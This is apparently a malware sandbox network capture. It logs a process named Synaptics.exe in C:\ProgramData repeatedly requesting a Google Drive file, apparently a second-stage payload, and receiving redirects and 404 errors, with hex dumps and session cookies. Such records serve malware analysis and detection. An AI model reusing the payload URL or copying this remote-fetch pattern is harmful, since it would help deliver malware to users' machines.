2024-12-30 03:59:19 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:18 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-YWOE5GUpgncxSDPWY-vvtg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49812	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:19 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
2024-12-30 03:59:20 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:20 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-hNHLgJAu0xhbkczyxUdQoA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49814	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:19 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
2024-12-30 03:59:20 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:20 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Idlaiwqe0jG9Pw82rqae2Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49811	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:19 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:20 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC57ASmcY3_x-w6N-6mQTarcIk-hNhj1KDdX-rorBkXaY7PKaOjjoR_QqUX3fcUjHu8p Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:20 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-0JCCXqvhC6uJApwpKunyPA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:20 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:20 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6f 55 46 76 77 70 78 5f 59 5a 76 61 55 32 58 57 43 57 56 70 47 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="oUFvwpx_YZvaU2XWCWVpGA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:20 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49813	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:19 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:20 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4AfqBtQhPbDtijPiqMfqPf3-ewQKuuRJT4qDXl2kTnRB4conf6QvA6x7XouugRuTP2 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:20 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-c71R6bbShKLlj3qKxtpGyg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:20 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:20 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 72 50 78 69 6d 39 48 44 78 47 4f 7a 46 46 37 75 4d 58 64 35 63 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="rPxim9HDxGOzFF7uMXd5cw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:20 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49817	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:20 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
2024-12-30 03:59:21 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:21 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-3yqYTVuCgGDEFG9jz69fXA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49816	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:20 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:21 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4XSQo7gzj0xYJu4Wgsca2HKcfHtThZ2A4gPlYiV3c6BZ3NIoJwQyQYr9L9K7zdN5QR Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:21 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-T62Hbi0Abpa532f4bk3vDg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:21 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:21 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6f 33 72 33 62 33 48 6a 5a 47 35 51 4f 37 62 53 6e 47 6e 46 71 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="o3r3b3HjZG5QO7bSnGnFqw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:21 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49818	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:20 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
2024-12-30 03:59:21 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:21 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-UbJd_XBO6yMROtlfrc9_fA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49819	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:20 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:21 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5tJHf4H4wg8BLFJONSAHJZm-kXJ9zP2gE6Yl9g5q0nXxIKHP3RGju89wN_uQJfeP4f Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:21 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-v9oVnnLZ_TdbiTuMsckhvQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:21 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
